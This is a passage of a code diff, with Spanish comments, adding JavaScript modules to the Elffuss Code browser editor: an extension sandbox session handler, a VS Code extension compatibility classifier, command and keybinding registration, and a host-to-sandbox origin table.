228+ if (!uri) return;
229+ pendientes.set(uri, model);
230+ reloj ??= setTimeout(() => {
231+ reloj = null;
232+ for (const [u, m2] of pendientes) {
233+ if (m2.isDisposed()) continue;
234+ const markers = monaco.editor.getModelMarkers({ resource: m2.uri }).filter(x => !String(x.owner).startsWith('x2:')).slice(0, 5000).map(x => ({
235+ owner: String(x.owner).slice(0, 60), severity: x.severity, message: String(x.message).slice(0, 4096),
236+ ...(typeof x.source === 'string' ? { source: x.source.slice(0, 200) } : {}),
237+ ...(typeof x.code === 'string' ? { code: x.code.slice(0, 200) } : x.code && typeof x.code.value === 'string' ? { code: x.code.value.slice(0, 200) } : {}),
238+ range: [x.startLineNumber, x.startColumn, x.endLineNumber, x.endColumn],
239+ }));
240+ this.post({ t: 'markers.page', uri: u, markers });
241+ }
242+ pendientes.clear();
243+ }, 300);
244+ };
245+ this.disposables.push(monaco.editor.onDidChangeMarkers(uris => { for (const u of uris) programa(monaco.editor.getModel(u)); }));
246+ this.disposables.push(editor.onDidChangeModel(() => setTimeout(() => programa(editor.getModel()), 0)));
247+ setTimeout(() => programa(editor.getModel()), 0);
248+ // el agente: sus peticiones web y los runtimes del Bridge preguntan antes
249+ import('../tools/index.js').then(({ TOOLS }) => {
250+ if (this.state === 'stopped' || this.state === 'error' || this.restoreAgent) return;
251+ this.restoreAgent = installAgentGate(TOOLS, { log: (level, text) => this.log(null, level, text) });
252+ }).catch(e => this.log(null, 'warn', 'agent gate not installed: ' + (e?.message || e)));
253+ this.docs.start();
254+ }
255+
256+ receive(msg) {
257+ const r = validate(msg);
258+ if (!r.ok) {
259+ if (++this.violations > LIMITS.violations) this.fail(Object.assign(new Error('the extension sandbox misbehaved'), { code: 'violations' }));
260+ return;
261+ }
262+ switch (msg.t) {
263+ case 'ready': this.onReady(); break;
264+ case 'fatal': this.fail(Object.assign(new Error('the extension sandbox failed: ' + (msg.text || msg.reason)), { code: 'fatal' })); break;
265+ case 'ext.status': {
266+ const s = this.status.get(msg.id) || { id: msg.id, log: [] };
267+ s.state = msg.state; s.text = msg.text || '';
268+ this.status.set(msg.id, s);
269+ // quitarla en el recinto no para su código: se rehace sin ella
270+ if (msg.state === 'unsupported' && !refused.has(msg.id)) { refused.set(msg.id, s.text); if (lastSync) setTimeout(() => sync(lastSync), 0); }
271+ emit();
272+ break;
273+ }
274+ case 'log': this.log(msg.id || null, msg.level, msg.text); break;
275+ case 'providers.add': this.features?.add(msg); emit(); break;
276+ case 'providers.remove': this.features?.remove(msg.handle); emit(); break;
277+ case 'result': { const p = this.pending.get(msg.req); if (p) { this.pending.delete(msg.req); p(msg.ok ? msg.value : (this.log(null, 'warn', 'call failed: ' + msg.error), null)); } break; }
278+ case 'doc.edit': this.docs?.applyEdit(msg, { onTouched: m => this.touch(m) }); break;
279+ case 'doc.need': this.docs?.need(msg.uri); break;
280+ case 'markers': this.markers(msg); break;
281+ case 'ctx.set': this.context(msg.key, msg.value); break;
282+ case 'rpc.denied':
283+ if (msg.n >= this.denials.n) { this.denials = { n: msg.n, top: msg.top }; emit(); }
284+ break;
285+ // lo que la extensión le pide al usuario: siempre se contesta
286+ case 'ui.notify': this.reply(msg.req, this.ui.notify(msg)); break;
287+ case 'ui.dialog': this.reply(msg.req, this.ui.dialog(msg)); break;
288+ case 'ui.pick': this.reply(msg.req, this.ui.pick(msg)); break;
289+ case 'ui.input': this.reply(msg.req, this.ui.input(msg)); break;
290+ case 'ui.cancel': this.ui.cancel(msg.req); break;
291+ case 'ui.progress': this.ui.setProgress(msg); break;
292+ case 'clipboard.write': this.ui.clipboard(msg.text); break;
293+ case 'open.request': this.reply(msg.req, this.openRequest(msg.url)); break;
294+ case 'editor.show': this.show(msg.uri); break;
295+ case 'editor.reveal': this.reveal(msg.uri, msg.range); break;
296+ case 'editor.selection': this.selection(msg.uri, msg.selections); break;
297+ case 'deco.type': this.decorations?.type(msg.key, msg.options); break;
298+ case 'deco.set': this.decorations?.set(msg.key, msg.uri, msg.ranges); break;
299+ case 'deco.remove': this.decorations?.remove(msg.key); break;
300+ case 'pong': break;
301+ default: break;
302+ }
303+ }
304+
305+ // contesta una pregunta del recinto con un valor plano (o null si falla)
306+ reply(req, promise) {
307+ Promise.resolve(promise).then(v => v, () => null).then(v => {
308+ if (this.state === 'stopped' || this.state === 'error') return;
309+ this.post({ t: 'ui.result', req, value: isPlainData(v) ? (v ?? null) : null });
310+ });
311+ }
312+
313+ // abrir una dirección externa: el diálogo de gates.js, que enseña la
314+ // dirección entera; solo se abre si el usuario lo pide
315+ openRequest(url) { return this.gate.request(url); }
316+
317+ // el texto de una extensión entró en este documento: su vista previa HTML
318+ // preguntará antes (gates.js)
319+ touch(model) {
320+ const path = model && this.docs?.pathOf(model);
321+ if (path) markTouched(path).catch(() => {});
322+ }
323+
324+ // una extensión quiere enseñar un documento abierto: solo se cambia de
325+ // pestaña si el usuario acaba de hacer algo (un clic, una tecla); si no, el
326+ // recinto vuelve a ver la pestaña de verdad
327+ async show(uri) {
328+ const model = this.docs?.modelForUri(uri);
329+ const path = model && this.docs.pathOf(model);
330+ if (!path) return;
331+ if (this.editor.getModel() === model) return;
332+ if (!userActive()) { this.log(null, 'info', 'an extension asked to show ' + path + ' without a recent click; the tab did not change'); this.docs.sendActive(); return; }
333+ try { await (await import('../ide.js')).openFile(path); } catch { this.docs.sendActive(); }
334+ }
335+
336+ reveal(uri, range) {
337+ const model = this.docs?.modelForUri(uri);
338+ if (!model || this.editor.getModel() !== model) return;
339+ const r = convert.range(this.monaco, model, range);
340+ if (r) this.editor.revealRangeInCenterIfOutsideViewport(r);
341+ }
342+
343+ selection(uri, selections) {
344+ const model = this.docs?.modelForUri(uri);
345+ if (!model || this.editor.getModel() !== model) return;
346+ const sels = selections.map(s => {
347+ const a = model.validatePosition({ lineNumber: s[0], column: s[1] }), b = model.validatePosition({ lineNumber: s[2], column: s[3] });
348+ return { selectionStartLineNumber: a.lineNumber, selectionStartColumn: a.column, positionLineNumber: b.lineNumber, positionColumn: b.column };
349+ });
350+ if (sels.length) this.editor.setSelections(sels);
351+ }
352+
353+ log(id, level, text) {
354+ const s = id ? this.status.get(id) || { id, state: 'installed', text: '', log: [] } : null;
355+ if (s) { s.log.push({ level, text }); if (s.log.length > 200) s.log.shift(); this.status.set(id, s); }
356+ (level === 'error' ? console.warn : console.debug)('[x2]', id || '', text);
357+ }
358+
359+ markers({ uri, owner, markers }) {
360+ const model = this.docs?.modelForUri(uri);
361+ if (!model) return;
362+ const key = 'x2:' + owner;
363+ this.monaco.editor.setModelMarkers(model, key, convert.markers(this.monaco, model, markers));
364+ if (!this.markerOwners.has(model)) this.markerOwners.set(model, new Set());
365+ this.markerOwners.get(model).add(key);
366+ }
367+
368+ context(key, value) {
369+ if (!this.editor) return;
370+ let k = this.contextKeys.get(key);
371+ if (!k) { k = this.editor.createContextKey(key, value ?? undefined); this.contextKeys.set(key, k); }
372+ else k.set(value ?? undefined);
373+ }
374+
375+ invoke(kind, handle, model, args, token) {
376+ const uri = this.docs?.uriOf(model);
377+ if (!uri || this.state !== 'running') return Promise.resolve(null);
378+ const req = this.nextReq++;
379+ return new Promise(resolve => {
380+ let done = false;
381+ const finish = v => { if (done) return; done = true; clearTimeout(timer); sub?.dispose(); this.pending.delete(req); resolve(v && typeof v === 'object' && v.stale ? null : v ?? null); };
382+ const timer = setTimeout(() => { this.post({ t: 'cancel', req }); finish(null); }, CALL_TIMEOUT);
383+ const sub = token?.onCancellationRequested?.(() => { this.post({ t: 'cancel', req }); finish(null); });
384+ this.pending.set(req, finish);
385+ this.post({ t: 'invoke', req, kind, handle, uri, v: model.getVersionId(), args });
386+ });
387+ }
388+
389+ request(msg, timeout = CALL_TIMEOUT) {
390+ const req = this.nextReq++;
391+ return new Promise(resolve => {
392+ const timer = setTimeout(() => { this.pending.delete(req); resolve(null); }, timeout);
393+ this.pending.set(req, v => { clearTimeout(timer); resolve(v); });
394+ this.post({ ...msg, req });
395+ });
396+ }
397+
398+ async runCommand(id, args) {
399+ if (this.state !== 'running') return null;
400+ for (let attempt = 0; attempt < 2; attempt++) {
401+ const req = this.nextReq++;
402+ const plainArgs = args === undefined ? undefined : isPlainData(args) ? [].concat(args) : undefined;
403+ const v = await new Promise(resolve => {
404+ const timer = setTimeout(() => { this.pending.delete(req); resolve(null); }, CALL_TIMEOUT);
405+ this.pending.set(req, x => { clearTimeout(timer); resolve(x); });
406+ this.post({ t: 'cmd.exec', req, id, args: plainArgs, ...this.docs.activeState() });
407+ });
408+ if (!(v && v.stale)) return v ? v.value ?? null : null;
409+ await new Promise(r => setTimeout(r, 50));
410+ }
411+ return null;
412+ }
413+
414+ // ¿sobra alguna de las que ya están, o cambió de versión? (ver sync())
415+ stale(records) {
416+ const want = new Map(records.map(r => [r.id, r.version]));
417+ for (const [id, version] of this.added) if (want.get(id) !== version) return true;
418+ return false;
419+ }
420+
421+ async sync(records) {
422+ const want = new Map(records.map(r => [r.id, r]));
423+ for (const id of [...this.added.keys()]) {
424+ if (!want.has(id) || want.get(id).version !== this.added.get(id)) {
425+ this.post({ t: 'ext.remove', id });
426+ this.commands?.remove(id);
427+ this.added.delete(id);
428+ this.status.delete(id);
429+ }
430+ }
431+ const installed = new Set(records.map(r => r.id));
432+ for (const r of records) this.names.set(r.id, String(r.displayName || r.id).slice(0, 200));
433+ this.features?.setPrefs(new Map(records.map(r => [r.id, r.formatter && typeof r.formatter === 'object' ? r.formatter : {}])));
434+ // los ajustes de todas, juntos (sin «__proto__», que cambiaría el prototipo)
435+ const settings = {};
436+ for (const r of records) {
437+ if (!r.settings || typeof r.settings !== 'object') continue;
438+ for (const [k, v] of Object.entries(r.settings)) if (k !== '__proto__') settings[k] = v;
439+ }
440+ this.post({ t: 'settings', json: JSON.stringify(settings) });
441+ for (const r of records) {
442+ if (this.added.has(r.id)) continue;
443+ const manifest = r.code?.manifest;
444+ if (!manifest || typeof manifest.browser !== 'string') { this.status.set(r.id, { id: r.id, state: 'error', text: 'no browser entry', log: [] }); continue; }
445+ let files;
446+ try { files = await this.readCode(r); }
447+ catch (e) { this.status.set(r.id, { id: r.id, state: 'error', text: 'its files could not be read: ' + (e?.message || e), log: [] }); continue; }
448+ if (this.state === 'stopped') return;
449+ this.added.set(r.id, r.version);
450+ this.status.set(r.id, { id: r.id, state: 'installed', text: '', log: [] });
451+ this.post({ t: 'ext.add', id: r.id, version: r.version, manifest: sandboxManifest(manifest, installed), files }, files.map(f => f[1]));
452+ this.commands.set({ id: r.id, displayName: r.displayName, manifest });
453+ }
454+ emit();
455+ }
456+
457+ fail(e) {
458+ this.error = { code: e?.code || 'error', message: String(e?.message || e), ...(typeof e?.file === 'string' ? { file: e.file.slice(0, 100) } : {}) };
459+ lastError = this.error;
460+ console.warn('[x2] nivel 2 parado:', this.error.message);
461+ this.stop('error');
462+ }
463+
464+ stop(state = 'stopped') {
465+ if (this.state === 'stopped' || this.state === 'error') return;
466+ this.state = state;
467+ for (const p of this.pending.values()) { try { p(null); } catch { /* — */ } }
468+ this.pending.clear();
469+ try { this.ui.dispose(); } catch { /* — */ }
470+ try { this.restoreAgent?.(); } catch { /* — */ }
471+ this.restoreAgent = null;
472+ try { this.decorations?.dispose(); } catch { /* — */ }
473+ try { this.features?.dispose(); } catch { /* — */ }
474+ try { this.commands?.dispose(); } catch { /* — */ }
475+ try { this.docs?.dispose(); } catch { /* — */ }
476+ for (const [model, owners] of this.markerOwners) {
477+ if (!model.isDisposed()) for (const o of owners) this.monaco.editor.setModelMarkers(model, o, []);
478+ }
479+ this.markerOwners.clear();
480+ for (const k of this.contextKeys.values()) { try { k.reset(); } catch { /* — */ } }
481+ this.contextKeys.clear();
482+ for (const d of this.disposables) { try { d.dispose(); } catch { /* — */ } }
483+ this.disposables = [];
484+ try { this.port?.close(); } catch { /* — */ }
485+ try { this.frame?.close(); } catch { /* — */ }
486+ this.port = null;
487+ emit();
488+ }
489+}
490+
491+function statusbar(text) {
492+ const el = document.getElementById('statusbar');
493+ if (el) el.textContent = text;
494+}
495+
496+// Lo llama js/ext/host.js tras cada cambio: con al menos una extensión
497+// activa con su código encendido, el recinto está arrancado y al día; sin
498+// ninguna, se desmonta (sin recargar la página).
499+let cola = Promise.resolve();
500+export function sync(args) {
501+ const { monaco, records, readCode } = args;
502+ lastSync = args;
503+ const run = async () => {
504+ const live = disabledByUrl() ? [] : records.filter(r => r && r.enabled && r.runs && !refused.has(r.id));
505+ // Quitar una extensión del host de extensiones no para su código ni sus
506+ // proveedores (VS Code reinicia el host para eso): si sobra alguna de las
507+ // que ya corren, o cambió de versión, el recinto se rehace con las demás.
508+ if (session && session.state === 'running' && session.stale(live)) { session.stop(); session = null; }
509+ if (!live.length) { if (session) { session.stop(); session = null; } emit(); return state(); }
510+ if (!session || session.state === 'error' || session.state === 'stopped') {
511+ lastError = null;
512+ session = new Session({ monaco, readCode });
513+ emit();
514+ try { await session.start(); }
515+ catch (e) { session.fail(e); return state(); }
516+ }
517+ await session.sync(live);
518+ return state();
519+ };
520+ const r = cola.then(run, run);
521+ cola = r.catch(() => {});
522+ return r;
523+}
524+
525+export function stop() {
526+ const r = cola.then(() => { if (session) { session.stop(); session = null; } emit(); });
527+ cola = r.catch(() => {});
528+ return r;
529+}
added web/js/ext2/classify.js +140 −0
@@ -0,0 +1,140 @@
1+// Qué funcionará de una extensión en Elffuss Code, ANTES de instalarla, a
2+// partir de su package.json (y del censo en ejecución, tested.json, si la
3+// probamos). Lo usa el panel de extensiones para decirlo con honradez:
4+//
5+// · lo declarativo (nivel 1): temas, gramáticas, snippets, lenguajes, con
6+// las mismas reglas que el «Aplica» del panel;
7+// · código para el navegador que puede correr en el recinto (nivel 2), y si
8+// aquí (navegador, sitio) puede;
9+// · «necesita Node»: no está disponible en el navegador;
10+// · lo que no aparecerá aquí (vistas, webviews, depurador…);
11+// · si la probamos en Code y qué pasó, o que aún no.
12+//
13+// Es pequeño y no carga nada del recinto: viaja con el panel.
14+import { analyzeManifest } from '../ext/vsix.js';
15+
16+export const VSCODE = '1.138.0';
17+
18+// Contribuciones que necesitan la interfaz completa de VS Code: aquí no salen.
19+export const WORKBENCH = ['views', 'viewsContainers', 'viewsWelcome', 'customEditors', 'notebooks', 'notebookRenderer', 'walkthroughs', 'debuggers',
20+ 'breakpoints', 'terminal', 'taskDefinitions', 'problemMatchers', 'authentication', 'chatParticipants', 'languageModelTools',
21+ 'mcpServerDefinitionProviders', 'resourceLabelFormatters', 'statusBarItems', 'remoteHelp', 'typescriptServerPlugins'];
22+// Eventos de activación que en Code nunca ocurren
23+const NEVER = [/^workspaceContains:/, /^onView:/, /^onWebviewPanel:/, /^onCustomEditor:/, /^onNotebook(Serializer)?:?/, /^onDebug/, /^onTerminalProfile:/,
24+ /^onAuthenticationRequest:/, /^onChatParticipant:/, /^onWalkthrough:/, /^onOpenExternalUri:/, /^onFileSystem:/, /^onSearch:/, /^onTaskType:/, /^onRenderer:/];
25+
26+// ¿satisface 1.138.0 el rango de engines.vscode? (^x.y.z, ~x.y.z, >=x.y.z, x.y.z, *)
27+const triple = s => { const m = /^(\d+)\.(\d+|x|\*)(?:\.(\d+|x|\*))?/.exec(s); return m ? [Number(m[1]), m[2] === 'x' || m[2] === '*' ? 0 : Number(m[2]), m[3] === undefined || m[3] === 'x' || m[3] === '*' ? 0 : Number(m[3])] : null; };
28+const cmp = (a, b) => a[0] - b[0] || a[1] - b[1] || a[2] - b[2];
29+export function engineOk(range, version = VSCODE) {
30+ if (typeof range !== 'string' || !range.trim() || range.trim() === '*') return true;
31+ const v = triple(version);
32+ const r = range.trim().replace(/-[\w.]+$/, '');
33+ let m;
34+ if ((m = /^\^\s*(.+)$/.exec(r))) { const t = triple(m[1]); return !!t && cmp(v, t) >= 0 && v[0] === t[0]; }
35+ if ((m = /^~\s*(.+)$/.exec(r))) { const t = triple(m[1]); return !!t && cmp(v, t) >= 0 && v[0] === t[0] && v[1] === t[1]; }
36+ if ((m = /^>=\s*(.+)$/.exec(r))) { const t = triple(m[1]); return !!t && cmp(v, t) >= 0; }
37+ const t = triple(r);
38+ return t ? cmp(v, t) >= 0 : true; // sin entenderlo, no se bloquea
39+}
40+
41+const arr = v => (Array.isArray(v) ? v : []);
42+function settingsCount(conf) {
43+ let n = 0;
44+ for (const c of [].concat(conf || [])) if (c && typeof c.properties === 'object' && c.properties) n += Object.keys(c.properties).length;
45+ return n;
46+}
47+
48+// Opciones: `tested` (el censo en ejecución), `installed` (ids instaladas),
49+// `builtinLanguage(id)` y `grammarSkippedFor(lang)` (las mismas reglas que el
50+// «Aplica» del panel: el lenguaje de serie de Monaco no se registra otra vez y
51+// la gramática de uno de serie sin Monarch no se aplica) y `canRun` (si el
52+// nivel 2 puede arrancar en este navegador y sitio).
53+export function classify(manifest, { tested = null, installed = new Set(), builtinLanguage = () => false, grammarSkippedFor = () => false, canRun = true } = {}) {
54+ const m = manifest && typeof manifest === 'object' ? manifest : {};
55+ const c = m.contributes && typeof m.contributes === 'object' ? m.contributes : {};
56+ const a = analyzeManifest(m);
57+ const id = `${m.publisher}.${m.name}`.toLowerCase();
58+ const runtime = typeof m.browser === 'string' ? 'browser' : typeof m.main === 'string' ? 'node' : 'none';
59+ const events = arr(m.activationEvents).filter(e => typeof e === 'string');
60+ const neverEvents = events.filter(e => NEVER.some(r => r.test(e)));
61+ // solo eventos que nunca llegan (y ninguna otra forma de activarse)
62+ const startsNever = runtime === 'browser' && events.length > 0 && neverEvents.length === events.length && !arr(c.commands).length && !arr(c.languages).length;
63+ const deps = arr(m.extensionDependencies).filter(d => typeof d === 'string').map(d => d.toLowerCase());
64+ const unavailable = WORKBENCH.filter(k => c[k] !== undefined && (!Array.isArray(c[k]) || c[k].length) && (typeof c[k] !== 'object' || Object.keys(c[k]).length));
65+ // Las APIs propuestas no las enciende Code (ni VS Code fuera de sus
66+ // extensiones propias): usarlas falla, pero muchas solo las prueban y
67+ // arrancan igual. Es un aviso, no un veto; el censo dice lo que pasó.
68+ const apiProposals = arr(m.enabledApiProposals).length;
69+ const engine = engineOk(m.engines && m.engines.vscode);
70+ const census = tested && tested.results && typeof m.version === 'string' ? tested.results[`${id}@${m.version}`] || null : null;
71+ const failed = !!census && ['error', 'install-failed', 'unsupported'].includes(census.state);
72+ const started = !!census && census.state === 'active';
73+ const reasons = [];
74+ if (runtime === 'browser' && !started) {
75+ if (!engine) reasons.push('engine');
76+ if (startsNever) reasons.push('never');
77+ }
78+ if (runtime === 'browser' && deps.some(d => !installed.has(d))) reasons.push('deps');
79+ if (failed) reasons.push('census');
80+ const warnings = runtime === 'browser' && apiProposals ? ['proposals'] : [];
81+ // lo declarativo que de verdad se aplicaría aquí (como el «Aplica» del panel)
82+ const declarative = {
83+ themes: a.applies.themes,
84+ grammars: a.grammarLangs.filter(l => !(l && grammarSkippedFor(l))).length,
85+ snippets: a.applies.snippets,
86+ languages: a.languageList.filter(l => !builtinLanguage(l.id)).length,
87+ };
88+ const hasDeclarative = Object.values(declarative).some(Boolean);
89+ // «puede correr»: entrada de navegador y nada que lo impida de antemano, o
90+ // que el censo la vio arrancar. Si faltan dependencias aún puede
91+ // instalarse, pero se dice.
92+ const eligible = runtime === 'browser' && !failed && (started || (engine && !startsNever));
93+ return {
94+ id, version: typeof m.version === 'string' ? m.version : '', runtime, engineOk: engine, apiProposals, startsNever, neverEvents,
95+ deps: { all: deps, missing: deps.filter(d => !installed.has(d)) }, unavailable, declarative, hasDeclarative, ignored: a.ignored,
96+ counts: { commands: arr(c.commands).length, keybindings: arr(c.keybindings).length, settings: settingsCount(c.configuration) },
97+ census, eligible, reasons, warnings, canRun: !!canRun,
98+ // ¿algo de ella funciona en Code, aquí? (para el filtro)
99+ works: hasDeclarative || (eligible && !!canRun),
100+ pack: a.pack,
101+ };
102+}
103+
104+// Ajustes que escribe el usuario (JSON) contra los que la extensión declara
105+// en contributes.configuration: solo claves suyas y del tipo que dice.
106+export function contributedSettings(manifest) {
107+ const out = Object.create(null); // sin prototipo: «__proto__» no es un ajuste
108+ const conf = manifest && manifest.contributes && manifest.contributes.configuration;
109+ for (const c of [].concat(conf || [])) {
110+ if (!c || typeof c.properties !== 'object' || !c.properties) continue;
111+ for (const [k, v] of Object.entries(c.properties)) if (k !== '__proto__' && v && typeof v === 'object') out[k] = v;
112+ }
113+ return out;
114+}
115+const typeOf = v => (v === null ? 'null' : Array.isArray(v) ? 'array' : Number.isInteger(v) ? 'integer' : typeof v);
116+const fits = (v, t) => t === typeOf(v) || (t === 'number' && typeof v === 'number') || (t === 'integer' && Number.isInteger(v));
117+export function validateSettings(manifest, text) {
118+ let v;
119+ try { v = JSON.parse(String(text ?? '').trim() || '{}'); } catch (e) { return { ok: false, errors: [{ code: 'json', detail: String(e.message || e).slice(0, 200) }] }; }
120+ if (!v || typeof v !== 'object' || Array.isArray(v)) return { ok: false, errors: [{ code: 'object' }] };
121+ const known = contributedSettings(manifest);
122+ const errors = [];
123+ for (const [k, x] of Object.entries(v)) {
124+ const p = Object.hasOwn(known, k) ? known[k] : null;
125+ if (!p) { errors.push({ code: 'unknown', key: k }); continue; }
126+ const types = [].concat(p.type || []).filter(t => typeof t === 'string');
127+ if (types.length && !types.some(t => fits(x, t))) { errors.push({ code: 'type', key: k, type: types.join(' | ') }); continue; }
128+ if (Array.isArray(p.enum) && p.enum.length && !p.enum.some(e => JSON.stringify(e) === JSON.stringify(x))) errors.push({ code: 'enum', key: k, list: p.enum.slice(0, 10).map(e => JSON.stringify(e)).join(', ') });
129+ }
130+ if (JSON.stringify(v).length > 100000) errors.push({ code: 'big' });
131+ return errors.length ? { ok: false, errors } : { ok: true, value: v };
132+}
133+
134+let censo = null;
135+export function loadTested() {
136+ censo ??= fetch(new URL('./tested.json', import.meta.url), { cache: 'no-cache', credentials: 'same-origin' })
137+ .then(r => (r.ok ? r.json() : null)).catch(() => null)
138+ .then(j => (j && j.schema === 1 && j.results && typeof j.results === 'object' ? j : null));
139+ return censo;
140+}
added web/js/ext2/commands.js +113 −0
@@ -0,0 +1,113 @@
1+// Comandos de las extensiones con código en Code: salen en F1 (acciones de
2+// Monaco), en el menú contextual del editor si la extensión lo pide, y como
3+// entradas para la paleta de Code (entries()). Sus atajos se atan con el foco
4+// en el editor, salvo los reservados (keys.js). Al quitar la extensión o parar
5+// el puente, todo se deshace.
6+import { parseKeybinding } from './keys.js';
7+
8+const s = (v, max = 300) => (typeof v === 'string' ? v.slice(0, max) : '');
9+
10+// manifiesto (ya con %nls% resuelto) → comandos visibles y atajos
11+export function commandsOf(manifest) {
12+ const c = manifest && typeof manifest.contributes === 'object' && manifest.contributes ? manifest.contributes : {};
13+ const hidden = new Set();
14+ const palette = Array.isArray(c.menus?.commandPalette) ? c.menus.commandPalette : [];
15+ for (const m of palette) if (m && typeof m.command === 'string' && (m.when === 'false' || m.when === false)) hidden.add(m.command);
16+ const contextMenu = new Map();
17+ for (const m of Array.isArray(c.menus?.['editor/context']) ? c.menus['editor/context'] : []) {
18+ if (m && typeof m.command === 'string') contextMenu.set(m.command, s(m.group, 100) || 'x2');
19+ }
20+ const list = [];
21+ for (const cmd of Array.isArray(c.commands) ? c.commands : []) {
22+ if (!cmd || typeof cmd.command !== 'string' || !/^[\w.:/-]{1,200}$/.test(cmd.command)) continue;
23+ const title = typeof cmd.title === 'string' ? cmd.title : cmd.title && typeof cmd.title.value === 'string' ? cmd.title.value : cmd.command;
24+ const category = typeof cmd.category === 'string' ? cmd.category : cmd.category && typeof cmd.category.value === 'string' ? cmd.category.value : '';
25+ list.push({ id: cmd.command, title: s(title), category: s(category, 100), hidden: hidden.has(cmd.command), contextGroup: contextMenu.get(cmd.command) || null });
26+ }
27+ return { commands: list, keybindings: Array.isArray(c.keybindings) ? c.keybindings.slice(0, 500) : [] };
28+}
29+
30+// La lista viva de la paleta de Code (main.js la expone en
31+// window.elffussClaw.commands y la relee en cada repintado). Este módulo
32+// nunca importa main.js: solo mete y saca sus propias entradas.
33+const paletteList = () => {
34+ const l = globalThis.window?.elffussClaw?.commands;
35+ return Array.isArray(l) ? l : null;
36+};
37+
38+export class Commands {
39+ constructor({ monaco, editor, run, onReport = () => {} }) {
40+ this.monaco = monaco;
41+ this.editor = editor;
42+ this.run = run;
43+ this.onReport = onReport;
44+ this.byExt = new Map(); // id → { disposables, entries, palette, skipped }
45+ this.chords = new Map(); // atajo (número de Monaco) → id de la extensión que lo tiene
46+ }
47+
48+ set(ext) {
49+ this.remove(ext.id);
50+ const { monaco, editor } = this;
51+ const { commands, keybindings } = commandsOf(ext.manifest);
52+ const disposables = [], entries = [], palette = [], skipped = [];
53+ const name = s(ext.displayName || ext.manifest?.displayName || ext.id, 200);
54+ for (const c of commands) {
55+ const label = c.category ? `${c.category}: ${c.title}` : c.title;
56+ const run = () => this.run(c.id);
57+ // F1 y menú contextual (Monaco pinta las etiquetas como texto)
58+ disposables.push(editor.addAction({
59+ id: 'x2:' + c.id, label,
60+ ...(c.contextGroup ? { contextMenuGroupId: 'x2_' + c.contextGroup.replace(/[^\w]/g, '_'), contextMenuOrder: 1 } : {}),
61+ run,
62+ }));
63+ if (c.hidden) continue;
64+ entries.push({ id: c.id, label, hint: name, run, ext: ext.id });
65+ // en la paleta de Code: se cierra y el comando actúa sobre el editor
66+ palette.push({
67+ label, hint: name, x2: ext.id,
68+ run: () => {
69+ const p = document.getElementById('palette');
70+ if (p) p.hidden = true;
71+ editor.focus();
72+ return run();
73+ },
74+ });
75+ }
76+ const list = paletteList();
77+ if (list) list.push(...palette);
78+ // atajos: un comando global de Monaco + su regla de teclado (ambos se deshacen)
79+ const registered = new Set();
80+ for (const [i, kb] of keybindings.entries()) {
81+ const p = parseKeybinding(monaco, kb);
82+ // (la tecla que se miró en esta plataforma: «cmd+p» en un Mac, no «ctrl+p»)
83+ if (p.skip) { skipped.push({ command: s(kb?.command, 200), key: s(p.key || kb?.key || kb?.mac, 100), why: p.skip, code: p.code || 'invalid' }); continue; }
84+ // dos extensiones con el mismo atajo: se queda la primera y se avisa
85+ const owner = this.chords.get(p.keybinding);
86+ if (owner && owner !== ext.id) { skipped.push({ command: s(kb.command, 200), key: p.key, why: 'conflicts with ' + owner, code: 'conflict', conflict: owner }); continue; }
87+ this.chords.set(p.keybinding, ext.id);
88+ const id = `x2-key:${ext.id}:${i}`;
89+ if (!registered.has(id)) {
90+ registered.add(id);
91+ disposables.push(monaco.editor.addCommand({ id, run: () => this.run(p.command, p.args) }));
92+ }
93+ const when = 'editorTextFocus' + (p.when ? ` && (${p.when})` : '');
94+ disposables.push(monaco.editor.addKeybindingRules([{ keybinding: p.keybinding, command: id, when }]));
95+ }
96+ this.byExt.set(ext.id, { disposables, entries, palette, skipped });
97+ if (skipped.length) this.onReport(ext.id, skipped);
98+ }
99+
100+ remove(id) {
101+ const e = this.byExt.get(id);
102+ if (!e) return;
103+ for (const d of e.disposables) { try { d?.dispose(); } catch { /* ya fuera */ } }
104+ const list = paletteList();
105+ if (list) for (const p of e.palette) { const i = list.indexOf(p); if (i >= 0) list.splice(i, 1); }
106+ for (const [k, owner] of [...this.chords]) if (owner === id) this.chords.delete(k);
107+ this.byExt.delete(id);
108+ }
109+
110+ entries() { return [...this.byExt.values()].flatMap(e => e.entries); }
111+ skipped(id) { return this.byExt.get(id)?.skipped || []; }
112+ dispose() { for (const id of [...this.byExt.keys()]) this.remove(id); }
113+}
added web/js/ext2/config.js +47 −0
@@ -0,0 +1,47 @@
1+// Dónde vive el recinto de las extensiones con código (nivel 2), según el
2+// nombre de host de la propia página. Es una tabla fija: nunca sale de un
3+// parámetro de la URL ni del almacenamiento, así que nada puede apuntar el
4+// recinto a otro sitio.
5+//
6+// El recinto tiene que ser OTRO SITIO (otro dominio registrable): así no
7+// comparte almacenamiento, cookies ni proceso con Code. En producción vive en
8+// x2.utopiaia.com (utopiaia.com no es elffuss.com). El mismo origen está en
9+// sandbox/x2/headers.json, que da las cabeceras y el nginx del recinto, y
10+// deploy-sandbox.sh se niega si los dos no coinciden. Un host que no esté aquí
11+// no tiene recinto: el nivel 2 dice «no disponible en este sitio».
12+const TABLA = {
13+ 'code.elffuss.com': 'https://x2.utopiaia.com',
14+ // desarrollo y pruebas: el mismo servidor sirve el recinto en «localhost»,
15+ // que es otro sitio que 127.0.0.1. Abrir Code en http://localhost no vale
16+ // (sería el mismo sitio que el recinto): se usa 127.0.0.1.
17+ '127.0.0.1': loc => `http://localhost:${loc.port}`,
18+};
19+
20+export const SANDBOX_DOC = '/x2/v1/sandbox.html';
21+
22+// El «sitio» de un host, por lo alto: sus dos últimas etiquetas (una IP o un
23+// nombre sin puntos, entero). Dos hosts del mismo dominio registrable
24+// comparten siempre esas dos etiquetas, así que esto nunca da por distintos
25+// dos del mismo sitio; puede dar por iguales dos que no lo son (a.co.uk y
26+// b.co.uk), y entonces el nivel 2 se niega: falla cerrado.
27+export function siteOf(hostname) {
28+ const h = String(hostname || '').toLowerCase().replace(/\.$/, '');
29+ if (!h.includes('.') || h.includes(':') || /^[\d.]+$/.test(h)) return h;
30+ return h.split('.').slice(-2).join('.');
31+}
32+// (sin mirar el esquema: http y https del mismo dominio comparten cookies)
33+export const sameSite = (a, b) => {
34+ try { return siteOf(new URL(a).hostname) === siteOf(new URL(b).hostname); } catch { return true; }
35+};
36+
37+export function sandboxOrigin(loc = globalThis.location, tabla = TABLA) {
38+ if (!loc || !Object.hasOwn(tabla, loc.hostname)) return null;
39+ const v = tabla[loc.hostname];
40+ const s = typeof v === 'function' ? v(loc) : v;
41+ if (!s) return null;
42+ let u;
43+ try { u = new URL(s); } catch { return null; }
